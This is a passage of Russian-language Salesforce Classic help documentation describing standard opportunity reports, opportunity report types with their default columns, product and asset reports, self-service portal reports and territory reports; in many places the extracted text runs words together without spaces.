возвращаемых формулой данных «Текст», и введите формулу TEXT(PricebookEntry.Product2.Family).

• Вверсиях Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition ссылки «Иерархия»
позволяют просматривать результаты отчетов на основе иерархий ролей или территорий.

• Если организация использует функцию управления территориями, то фильтр «Иерархия», доступный в отчетах по
возможностям, позволяетпросматриватьданныепоиерархииролейилитерриторий. Крометого, фильтр «Территории»
позволяет отображать возможности всех территорий или возможности без связанных территорий.

• Поле «Основной источник кампании» можетбытьдобавленовлюбойстандартныйотчетповозможностям. Данное
поле контролируется параметрами безопасности поля.

• Чтобыограничитьрезультатыотчетаповозможностям, воспользуйтесьфильтром «Просмотр». Параметрыпросмотра
определяются используемой версией системы и настройками организации.

– «Мои возможности»: отображаются только собственные возможности.

– «Мои возможности группового сбыта»: отображаются возможности, принадлежащие рабочей группе с участием
текущего пользователя.

– «Мой групповой сбыт и мои возможности»: отображаются собственные возможности и возможности,
принадлежащие рабочей группе с участием текущего пользователя.

– «Возможностимоейрабочей группы»: отображаются собственныевозможностиивозможности, принадлежащие
всем подчиненным в иерархии ролей.
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Если организация используетфункциюуправления территориями, то действие данного параметра определяется
значением фильтра «Иерархия» выше. При выборе значения «Роль» отображаются собственные возможности
и возможности, принадлежащие всем подчиненным в иерархии ролей. При выборе значения «Территория»
отображаются собственные возможности и возможности, принадлежащие дочерним территориям.

– «Групповой сбыт моей рабочей группы и их возможности»: отображаются возможности, принадлежащие
подчиненным в иерархии ролей или рабочей группе с их участием.

– «Моитерритории»: отображаются возможности, принадлежащиетерриториямтекущегопользователя (доступно
только при использованиифункции управления территориями).

– «Все возможности»: отображаются все доступные возможности.

СМ. ТАКЖЕ:

Отчеты по возможностям

Типы отчетов возможностей

Стандартные отчеты возможностей

Стандартные отчеты возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Для планирования отчетов:
• «Планированиеотчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Благодаря стандартным отчетам пользователь может создавать отчеты по ожидаемым
продажамот возможностей, журналамвозможностей, источникамвозможностей, типам
возможностей и т. д.

1. Выберитепапку«Отчетыповозможностям»напанели «Папки» вкладки «Отчеты».

2. Щелкните нужный отчет.

ОписаниеИмя отчета

Реализованные возможности.Закрытые возможности

Типы доступных возможностей.Возможности по типу

Журнал поля для возможностей.
Доступно только при отслеживании
данной информации.

Журнал поля возможности

Изменения статусов возможностей.
Доступно только при отслеживании
данной информации.

Журнал возможности

Снимок журнала возможностей;
стоимостивозможностей группируются
по этапу журнала для выбранных
месяцев. Данный отчет доступен только
в версиях Professional Edition, Enterprise
Edition, Unlimited Edition, Performance
Edition и Developer Edition.

Направления ожидаемых продаж от
возможности

Возможности по этапу.Ожидаемые продажи от возможности

Возможности, резюмированные по
сведениям о доли (например,
назначенный пользователь и процент).

Ожидаемые продажи от возможности с
долями
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ОписаниеИмя отчета

Возможности по месяцу и продукту.Продукт возможности

Назначения и проценты долей для каждого продукта.
Нижеперечисленыполя, доступныедлярезюмирования
данных.

Отчет «Продукт возможности» с долями

• «Итоговая цена доли»: процент доли, умноженный
на итоговую цену.

• «Ожидаемая стоимость продукта доли»: итоговая
цена доли, умноженная на вероятность.

Возможности по месяцу, включая проценты долей для
группы, работающей с возможностями. Данный отчет

Отчет «Расписание возможности» с долями

доступен только организациям, поддерживающим
планирование продуктов.

Нижеперечисленыполя, доступныедлярезюмирования
данных.

• «Итоговая цена доли»: процент доли, умноженный
на итоговую цену.

• «Стоимость по расписанию доли»: процент доли,
умноженный на стоимость по расписанию.

• «Ожидаемая стоимость продукта доли»: итоговая
цена доли, умноженная на вероятность.

• «Ожидаемая стоимость по расписанию доли»:
стоимость по расписанию доли, умноженная на
вероятность.

Источники возможностей.Источники возможностей

Продолжительность возможности на каждом этапе.Продолжительность этапа возможности

Сведения о возможностях и рабочих группах с участием
текущего пользователя.

Группы, работающие с возможностями

Все партнеры, связанные с возможностью, или только
основныепартнеры. Чтобыограничитьрезультатытолько

Возможности партнера

основными партнерами, настройте отчет и введите
критерий «"Основной" "равно" "Истина"» на странице
ввода критериев мастера отчетов.

Открытые возможности, сгруппированные по этапу и
отсортированные по продолжительности.

Задержанные возможности
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3. Запустите отчет.

СМ. ТАКЖЕ:

Отчеты по возможностям

Типы отчетов возможностей

Советы по работе с отчетами по возможностям

Типы отчетов возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Для планирования отчетов:
• «Планированиеотчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Типы отчетов предоставляютшаблон отчетов, в котором можно настраивать сбор
уникальных данных без необходимости создавать отчет заново. Некоторые из типов
настраиваемыхотчетов возможностей включаютинформациюот связанныхобъектов,
например продуктов, партнеров и смет.

Отчеты по возможностям
Просмотрите стандартные сведения о возможностях, включая ответственных,
организации, этапы, стоимости и т. д. Стандартные параметры отчета позволяют
просмотреть для каждого объекта те сведения, которые используются чаще всего.
Однако пользователь может настроить отчет таким образом, чтобы просмотреть
дополнительные сведения (например, основной источник кампании, категорию
прогноза и синхронизированную смету).

Отчет «Возможности с ролями контакта»
Просмотрите сведения о контактах, связанных с возможностями, включая имя,
должность и роль.

Отчет «Возможности с ролями контакта и продуктами»

Просмотрите сведения о контактах и возможностях, связанных с выбранным
продуктом. Чтобы отфильтровать результаты выполненного отчета, рекомендуем
выбрать продукт.

Отчет «Возможности с конкурентами»

Просмотритесведенияоконкурентахкомпаниизавозможности, включаяихсильные
и слабые стороны.

Отчет «Возможности с архивным трендингом»

Отчет «Возможности с архивным трендингом» — это тип настраиваемого отчета,
предназначенный для анализа архивных трендов в процессе продаж.

Отчет «Журнал поля возможности»

Просмотрите сведения ожурнале изменения основныхполей возможности, включаяпредыдущиеиновые значения,
а также даты редактирования.

Отчет «Журнал возможности»

Просмотрите сведения о журнале возможностей, включая этапы и дату закрытия.

Отчет «Возможности с группами, работающими с возможностями»

Просмотрите сведения об участниках группы, работающей с возможностями, и их ролях, сгруппированных по
возможностям.
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Отчет «Возможности с группами, работающими с возможностями, и продуктами»

Просмотрите сведения об участниках группы, работающей с возможностями, и их продуктах, сгруппированных по
возможностям. Чтобыотфильтроватьрезультатывыполненногоотчета, рекомендуемвыбратьпродуктилиучастника
группы, работающей с возможностями.

Отчет «Возможности с партнерами»

Просмотрите сведения о партнерах, работающих над возможностями, включая имя возможности, стоимость и роль
партнера.

Отчет «Возможности с продуктами»

Просмотрите сведения о продуктах, связанных с возможностями, включая имя продукта и этап возможности.

Отчет «Динамика возможности»

Просмотрите сведения о динамике возможностей в ожидаемых продажах.

Отчет «Возможности со сметами и PDF-сметами»

Просмотрите сведения о PDF-сметах, которые созданы для смет, связанных с возможностью. Стандартные параметры
отчета позволяют просмотреть для каждого объекта те сведения, которые используются чаще всего. Однако
пользовательможетнастроитьотчет такимобразом, чтобыпросмотретьдополнительныесведения (например, автора
и дату последнего изменения каждой указанной PDF-сметы).

Отчет «Возможности со сметами и элементами строки сметы»

Просмотритесведенияосметах, связанныхсвозможностями, иэлементахстрокикаждойсметы. Стандартныепараметры
отчета позволяют просмотреть для каждого объекта те сведения, которые используются чаще всего. Однако
пользовательможетнастроитьотчеттакимобразом, чтобыпросмотретьлюбыеполявозможности, сметыилиэлемента
строки сметы.

СМ. ТАКЖЕ:

Выбор типа отчета

Отчеты по возможностям

Советы по работе с отчетами по возможностям

Отчеты по возможностям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотрите стандартные сведения о возможностях, включая ответственных,
организации, этапы, стоимости и т. д. Стандартные параметры отчета позволяют
просмотретьдлякаждогообъекта те сведения, которыеиспользуютсячащевсего. Однако
пользовательможетнастроитьотчеттакимобразом, чтобыпросмотретьдополнительные
сведения (например, основной источник кампании, категорию прогноза и
синхронизированную смету).

Прим.: Чтобыпросмотретьиерархиюролейорганизациинадрезультатамиотчета,
щелкнитессылку«Показатьиерархию». Иерархияролейпозволяетпредоставлять
пользователям, расположенным на разных уровнях иерархии, общий доступ к
даннымотчета. Например, фильтр "Генеральныйдиректор" > "Вице-президент
поглобальнымпродажам" > "Руководительотделапродаж"отображаетданные
дляроли «Руководительотделапродаж». Чтобыпросмотретьипредоставитьобщий
доступ к данным, доступным пользователям роли, щелкните имя нужной роли.

Ниже перечислены стандартные параметры для данного отчета.

Формат
Табличный
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Выбранные столбцы

СтолбцыТип сведений об объекте

Сведения о возможности • Имя возможности

• Стоимость

• Дата закрытия

• Этап

• Длительность

• Тип

• Вероятность (%)

• Источник интереса

• Финансовый период

• Следующий этап

• Дата создания

Сведения об ответственном за возможность • Ответственный за возможность

• Роль ответственного

Сведения об организации • Имя организации

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчеты по возможностям

Отчет «Возможности с ролями контакта»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотритесведенияоконтактах, связанныхсвозможностями, включаяимя, должность
и роль.

Ниже перечислены стандартные параметры для данного отчета.

Формат
Табличный

Выбранные столбцы

СтолбцыТип сведений об объекте

Сведения о возможности • Имя возможности

Сведения об ответственном за
возможность

• Ответственный за возможность

Организация: общие сведения • Имя организации
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СтолбцыТип сведений об объекте

Роль контакта: общие сведения • Должность

• Личное имя

• Фамилия

Роль контакта: тел./факс/эл. почта • Тел.

• Эл. почта

Роль контакта: адрес • Улица в почтовом адресе

• Город в почтовом адресе

• Область/штат в почтовом адресе

• Индекс в почтовом адресе

• Страна в почтовом адресе

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчеты по возможностям

Отчет «Возможности с ролями контакта и продуктами»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотрите сведенияо контактахи возможностях, связанныхс выбраннымпродуктом.
Чтобыотфильтроватьрезультатывыполненногоотчета, рекомендуемвыбратьпродукт.

Ниже перечислены стандартные параметры для данного отчета.

Формат
Табличный

Выбранные столбцы

СтолбцыТип сведений об объекте

Возможность: сведения • Имя возможности

Сведения о продукте • Имя продукта

Сведения об ответственном за
возможность

• Ответственный за возможность

Организация: общие сведения • Имя организации

Роль контакта: общие сведения • Должность

• Личное имя

• Фамилия
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СтолбцыТип сведений об объекте

Роль контакта: тел./факс/эл. почта • Тел.

• Эл. почта

Роль контакта: адрес • Улица в почтовом адресе

• Город в почтовом адресе

• Область/штат в почтовом адресе

• Индекс в почтовом адресе

• Страна в почтовом адресе

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчеты по возможностям

Отчет «Возможности с конкурентами»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотрите сведения о конкурентах компании за возможности, включая их сильные
и слабые стороны.

Ниже перечислены стандартные параметры для данного отчета.

Формат
Сводный

Выбранные столбцы

СтолбцыТип сведений об объекте

Сведения о возможности • Имя возможности

• Дата закрытия

• Стоимость

Сведения о конкуренте • Имя конкурента

• Сильные стороны

• Слабые стороны

Организация: общие сведения • Имя организации

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчеты по возможностям
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Отчет «Возможности с архивным трендингом»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

И

«Управление типами
настраиваемых отчетов»

Отчет «Возможности с архивным трендингом» — это тип настраиваемого отчета,
предназначенный для анализа архивных трендов в процессе продаж.

Стандартный отчет содержит некоторые наиболее используемые поля возможностей.

Стоимость
Предполагаемый суммарный объем продаж. Если организация использует
мультивалюту, то стоимость изначально отображается в личной валюте. Чтобы
изменить валюту для отслеживания стоимости, выберите нужное значение в
раскрывающемся списке «Валюта возможности».

Дата закрытия
Предполагаемаядатазакрытиявозможности. Датаможетбытьвведенасамостоятельно
или выбрана в календаре, который отображается при установке курсора в поле.

Этап
Текущий этап возможности (например, «Потенциальный клиент» или
«Предложение»).

Вероятность
Степень уверенности пользователя в закрытии возможности (в процентах).

Категория прогноза
Имя категории прогноза, отображаемое в отчетах, на страницах редактирования и
просмотра сведений о возможностях, в списковых представлениях возможностей, а
также при поиске возможностей. Данный параметр связан с полем возможности
«Этап».

Прим.: Редактирование данного типа отчета препятствует его автоматическому
обновлению. Удаленный тип отчета не может быть восстановлен.

Отчет «Журнал поля возможности»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотрите сведения о журнале изменения основных полей возможности, включая
предыдущие и новые значения, а также даты редактирования.

Прим.: Чтобы воспользоваться отчетом «Отслеживание журнала поля»,
рекомендуемвключитьинастроитьфункциюотслеживанияжурналаполя, а также
выбрать поля.

Ниже перечислены стандартные параметры для данного отчета.

Формат
Табличный

Выбранные столбцы

СтолбцыТип сведений об объекте

Данные журнала • Дата редактирования

• Новое значение

• Отредактировано

• Поле/событие

• Предыдущее значение
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СтолбцыТип сведений об объекте

Поля возможностей • Имя возможности

Сведения об ответственном за возможность • Ответственный за возможность

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчеты по возможностям

Отчет «Журнал возможности»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Просмотрите сведения о журнале возможностей, включая этапы и дату закрытия.

Ниже перечислены стандартные параметры для данного отчета.

Формат
Сводный

Выбранные столбцы

СтолбцыТип сведений об объекте

Сведения о возможности • Имя возможности

Сведения об ответственном за
возможность

• Ответственный

Сведения о журнале возможности • Начальный этап

• Стоимость

• Последнее изменение

• Конечный этап

• Вероятность (%)

• Последнее изменение сделано

• Дата закрытия

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчеты по возможностям

Отчет «Возможности с группами, работающими с возможностями»
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ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотритесведенияобучастниках группы, работающейсвозможностями, иихролях,
сгруппированных по возможностям.

Прим.: Чтобывоспользоватьсяотчетом «Возможностис группами, работающими
свозможностями», рекомендуемвключитьинастроитьфункциюгрупповогосбыта.

Ниже перечислены стандартные параметры для данного отчета.

Формат
Табличный

Выбранные столбцы

СтолбцыТип сведений об объекте

Сведения о возможности • Имя возможности

Сведения об участнике рабочей группы • Имя участника рабочей группы

• Роль в рабочей группе

Прим.: Настраиваемые поля рабочей группы, созданные администратором, могут быть добавлены в отчет
«Возможности с группами, работающими с возможностями».

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчеты по возможностям

Отчет «Возможности с группами, работающими с возможностями, и продуктами»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотрите сведения об участниках группы, работающей с возможностями, и их
продуктах, сгруппированных по возможностям. Чтобы отфильтровать результаты
выполненногоотчета, рекомендуемвыбратьпродуктилиучастника группы, работающей
с возможностями.

Ниже перечислены стандартные параметры для данного отчета.

Формат
Табличный

Выбранные столбцы

СтолбцыТип сведений об объекте

Сведения о возможности • Имя возможности

Сведения о продукте • Имя продукта

Сведения об участнике рабочей группы • Имя участника рабочей группы
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СтолбцыТип сведений об объекте

• Роль в рабочей группе

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчеты по возможностям

Отчет «Возможности с партнерами»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотрите сведения о партнерах, работающих над возможностями, включая имя
возможности, стоимость и роль партнера.

Ниже перечислены стандартные параметры для данного отчета.

Формат
Сводный

Выбранные столбцы

СтолбцыТип сведений об объекте

Сведения о возможности • Имя возможности

• Дата закрытия

• Стоимость

Сведения об ответственном за
возможность

• Ответственный за возможность

Сведения о партнере • Ответственный за партнера

• Роль партнера

• Партнер

Сведения об организации • Ответственный за организацию

• Имя организации

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчеты по возможностям

Отчет «Возможности с продуктами»
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ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотрите сведенияопродуктах, связанныхс возможностями, включаяимяпродукта
и этап возможности.

Ниже перечислены стандартные параметры для данного отчета.

Формат
Матричный

Поля резюмирования
Итого к оплате  (сумма)

Выбранные столбцы

СтолбцыТип сведений об объекте

Сведения о возможности • Имя возможности

• Стоимость

• Дата закрытия

• Этап

• Длительность

• Тип

• Вероятность

• Дата создания

Сведения о продукте • Имя продукта

• Код продукта

• Количество

• Активный продукт

• Продажная цена

• Дата продукта

• Описание продукта

• Итого к оплате

• Продукт: месяц

• Цена по прайс-листу

Сведения об ответственном за
возможность

• Ответственный за возможность

• Роль ответственного

Организация: общие сведения • Имя организации

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчеты по возможностям
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Отчет «Динамика возможности»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотрите сведения о динамике возможностей в ожидаемых продажах.

Ниже перечислены стандартные параметры для данного отчета.

Формат
Матричный

Группировки
Стандартный отчет содержит строки, сгруппированные по полю «Этап журнала»,
и столбцы, сгруппированные по полю «На дату».

Поля резюмирования
Архивная стоимость  (сумма)

Выбранные столбцы

СтолбцыТип сведений об объекте

Сведения о возможности • Имя возможности

Сведения о динамике возможности • Архивная стоимость

• На дату

• Этап журнала

Сведения об ответственном за возможность • Псевдоним ответственного за возможность

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчеты по возможностям

Отчет «Возможности со сметами и PDF-сметами»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотрите сведения о PDF-сметах, которые созданы для смет, связанных с
возможностью. Стандартные параметры отчета позволяют просмотреть для каждого
объекта те сведения, которые используются чаще всего. Однако пользователь может
настроитьотчеттакимобразом, чтобыпросмотретьдополнительныесведения (например,
автора и дату последнего изменения каждой указанной PDF-сметы).

Ниже перечислены стандартные параметры для данного отчета.

Формат
Сводный

Группировка
Стандартныйотчетотображает сметыи PDF-сметы, сгруппированныепополю «Имя
возможности».
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Выбранные столбцы

СтолбцыТип сведений об объекте

Сведения о возможности • Имя возможности

Сведения о смете • Имя сметы

• Синхронизация

Сведения о PDF-смете • PDF-смета: дата создания

• PDF-смета: имя

• PDF-смета: скидка

• PDF-смета: общая сумма

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчеты по возможностям

Отчет «Возможности со сметами и элементами строки сметы»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотрите сведенияосметах, связанныхсвозможностями, иэлементахстрокикаждой
сметы. Стандартные параметры отчета позволяют просмотреть для каждого объекта те
сведения, которые используются чаще всего. Однако пользователь может настроить
отчет такимобразом, чтобыпросмотретьлюбыеполя возможности, сметыилиэлемента
строки сметы.

Если организация использует мультивалюту илифункцию расширенного управления
валютами, то данный отчет поддерживает дополнительные параметры настройки. При
выборе столбцов отчета выберите «преобразованную» версию столбца стоимости или
общейсуммы, чтобыпросмотреть значение столбца, преобразованноев другуювалюту.
При выборе критериев отчета выберите нужную валюту в разделе «Дополнительные
параметры».

Ниже перечислены стандартные параметры для данного отчета.

Формат
Сводный

Поля резюмирования
Стоимость  (сумма)

Скидка по смете  (сумма)

Группировки
Стандартныйотчет содержитрезультаты, сгруппированныепополям «Имя возможности» и «Имя сметы». Каждый
элемент строки сметы отображается под связанной сметой.
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Выбранные столбцы

СтолбцыТип сведений об объекте

Сведения о возможности • Имя возможности

• Стоимость

Сведения о смете • Имя сметы

• Скидка

• Синхронизация

• Статус

Сведения об элементе строки сметы • Элемент строки сметы: скидка

• Продукт: имя продукта

• Номер элемента строки

• Продажная цена

• Цена по прайс-листу

• Элемент строки сметы: промежуточная сумма

• Элемент строки сметы: итого к оплате

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчеты по возможностям

Отчетыпопродуктами активам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отчеты, доступныевпапке «Отчетыпопродуктамиактивам», позволяютпросматривать
сведения о продуктах, установленных пользователями. Данные отчеты позволяют
просматривать активы, принадлежащие клиентам, создавать списки обращений,
сохраненных для отдельного актива, и определять активы, которые не связаны с
продуктом.

Специальные функции отчетов по продуктам и активам

Ниже перечислены рекомендации по выполнению отчетов по продуктам и активам.

Стандартные отчеты
Отчет «Активыбезпродуктов», доступныйвпапке «Отчетыпопродуктамиактивам»,
позволяет просматривать активы, которые не связаны с продуктом. В зависимости
от целей использования, активами могут считаться продукты конкурентов.

Типы отчетов

• Чтобы создать настраиваемый отчет, содержащий активы клиентов, нажмите кнопку «Создать отчет» на вкладке
«Отчеты» ивыберите типотчета «Организациис активами» или «Контактыс активами» изкатегории «Организации
и контакты».
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• Чтобыпросмотретьсписокполейобращениядляотдельногоактива, нажмитекнопку«Создатьотчет»навкладке
«Отчеты» и выберите тип отчета «Активы с обращениями» из категории «Прайс-листы, продукты и активы».

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчетыпо самообслуживанию

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отчетыпосамообслуживаниюпозволяютанализироватьэффективностьиспользования
портала самообслуживания. Данные отчеты позволяют определять количество
просматриваемых обращений, количество зарегистрированных клиентов или мнение
клиентов относительно предложенных решений.

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Стандартные отчеты

• Отчет «Использование портала самообслуживания» содержит сведения о
количестве просмотренных и зарегистрированных обращений, количестве
добавленныхкомментариевиколичествепоисков, выполненныхпользователями
портала самообслуживания.

• Отчет «Пользователи портала самообслуживания» содержит сведения о пользователях, выполнивших вход на
портал самообслуживания, включая связанные организации и даты последнего входа. Поля портала
самообслуживания могут быть добавлены в любой настраиваемый отчет по контактам.

• Отчет «Полезные решения» содержит статистические данные по порталам самообслуживания, отображающим
решения. Каждая страницапортала самообслуживания, содержащаярешение, позволяет клиентамопределять его
полезность. Результатыданногоотчетамогутиспользоватьсядля выборапятилучшихрешений, отображающихся
наначальнойстраницепортала самообслуживания, а также дляповышения вероятностиобнаружения клиентами
нужных им решений.

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета
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Составлениеотчетовпо действиямслужбыподдержки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.
(Доступные отчеты
определяютсяиспользуемой
версией.)

Отчеты, доступные в папке «Отчеты службы поддержки», позволяют отслеживать
количество созданныхобращений, комментариев к обращениям, сообщений эл. почты
собращениями, ответственныхзаобращения, ролейконтактовобращений, обращений
с решениями, а также время, прошедшее с момента последнего изменения статуса или
ответственного за обращение, и журнал обращений.

Кроме того, система позволяет создавать отчеты по решениям организации, включая
журналы решений, языки создания решений и актуальность переведенных решений.
При наличии портала самообслуживания организация может выполнять отчеты для
отслеживания показателей использования портала самообслуживания.

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Готовые типы настраиваемых отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.
(Доступные отчеты
определяютсяиспользуемой
версией.)

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

Некоторые функции Salesforce поддерживают готовые типы настраиваемых отчетов,
исключая необходимость создания нового отчета.

Прим.: Готовые типы настраиваемых отчетов отличаются от типов стандартных
отчетов.

1. Отчеты по территориям
Отчеты по территориям позволяют анализировать территории продаж. Данные
отчеты позволяют просматривать территории и назначенных им пользователей,
пользователей с несколькими территориями или пользователей без территорий.

2. Отчеты по ответам
Чтобыразрешитьпользователяманализвопросов, ответови голосов, создайте типы
настраиваемых отчетов.

3. Отчеты Salesforce CRM Call Center

Отчеты центра обработки вызовов помогают анализировать телефонные вызовы
Salesforce CRM Call Center, обработанные текущим пользователем и его рабочей
группой.

4. Создание типа настраиваемого отчета для журнала утверждений
Прежде чем запустить отчеты по выполненным или выполняемым процессам
утверждения и их этапам, рекомендуем создать тип настраиваемого отчета для
экземпляров процесса утверждения.

5. Отчеты, доступные для действий
Запуск стандартных или настраиваемых отчетов, в которых отображаются сведения
о задачах или событиях и связанных с ними контактах, организациях, потенциальных клиентах, а также другие
связанные записи.

6. Составление отчетов по встречам торговых представителей с клиентами
Просмотрите распределение рабочего времени сотрудниками отдела продаж. Создайте настраиваемый отчет, в
котором содержится информация о том, какие торговые представители занимаются обслуживанием.
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7. Создание типа настраиваемых отчетов прогнозирования

8. Типы настраиваемых отчетов прогнозирования
Тип отчета определяет набор записей и полей, доступных в отчете, исходя из взаимосвязей между основным и
связаннымиснимобъектами. Вотчетахотображаются только те записи, которые соответствуюткритериям, заданным
в типе отчета.

9. Отчеты по идеям
Чтобы разрешить пользователям создание отчетов по идеям, комментариям и голосам, рекомендуем создать типы
настраиваемых отчетов.

10. Составление отчетов по статьям Salesforce Knowledge

Настраиваемыеотчеты Salesforce Knowledgeпозволяютотслеживатьпроцессысоздания, управленияидоставкистатей.

11. Отчеты по сеансам Live Agent

Отчеты по сеансам Live Agent позволяют собирать данные о действиях, выполненных агентами при общении с
клиентами (например, время нахождения агентов в сети или количество назначенных запросов на чат).

12. Составление отчетов по партнерам
Некоторые возможности могут быть связаны с партнерами. Данный отчет позволяет определять и анализировать
подобные взаимосвязи.

13. Составление отчетов по группам взаимосвязи
Составление отчетов по группам взаимосвязи и участникам группы взаимосвязи доступно только после включения
администратором типов настраиваемых отчетов для данных настраиваемых объектов.

14. Включение отчета «Ответственный за организацию»

Отчет «Ответственный за организацию» возвращает список всех организаций и пользователей, несущих за них
ответственность.

15. Отчет о поиске по файлам
Используйтеотчетдляопределенияпервых 300 критериевпоискадляфайлаиопределитеотсутствующеесодержимое
или то, что нужно переименовать, на основе критериев поиска пользователя и позиции выбора.

Отчетыпо территориям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отчетыпотерриториямпозволяютанализироватьтерриториипродаж. Данныеотчеты
позволяютпросматривать территориииназначенныхимпользователей, пользователей
с несколькими территориями или пользователей без территорий.

Специальные функции отчетов по территориям

Ниже перечислены рекомендации по выполнению отчетов по территориям.

Стандартные отчеты

• Отчет «Территория» содержитвсе территорииорганизации. Чтобыпросмотреть
территории организации, которым не назначены пользователи, выберите
значение «Пользователи отсутствуют» в раскрывающемся списке
«Пользователи» и нажмите кнопку «Запустить отчет».

• Отчеты «Территория пользователя», «Несколько территорий пользователя» и «Пользователь без территории»
отображаютпользователей, назначенныходнойтерритории, несколькимтерриториямилиниоднойтерритории
соответственно.

• Отчеты «Территория организации», «Несколько территорий организации» и «Организация без территории»
отображают организации, назначенные одной территории, нескольким территориям или ни одной территории
соответственно.
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• Отчет «Территория возможности» отображает возможности, назначенные территориям. Чтобы просмотреть
возможности, принадлежащиепользователям, которыевнастоящеевремянеактивнынатерриториивозможности,
воспользуйтесь отчетом «Территория возможности» со следующим расширеннымфильтром: «"Активно в
территории"  "равно" "Ложь"». Отчет «Возможность без территории» отображает возможности, связанные с
организациями, которым не назначена территория.

• Отчеты, созданныенаоснове типовнастраиваемыхотчетов, содержащихтерритории, могут содержатьрезультаты,
отличающиесяотрезультатов стандартныхотчетов, содержащихтерритории. Отчеты, созданныенаоснове типов
настраиваемыхотчетов, отображаюттолькорезультаты с территориями (например, организациис территориями),
а стандартные отчеты, содержащие территории, могут отображать результаты без территорий. Например, отчет
«Территория организации» возвращает организации без территорий. Фильтр «Территории», применяемый к
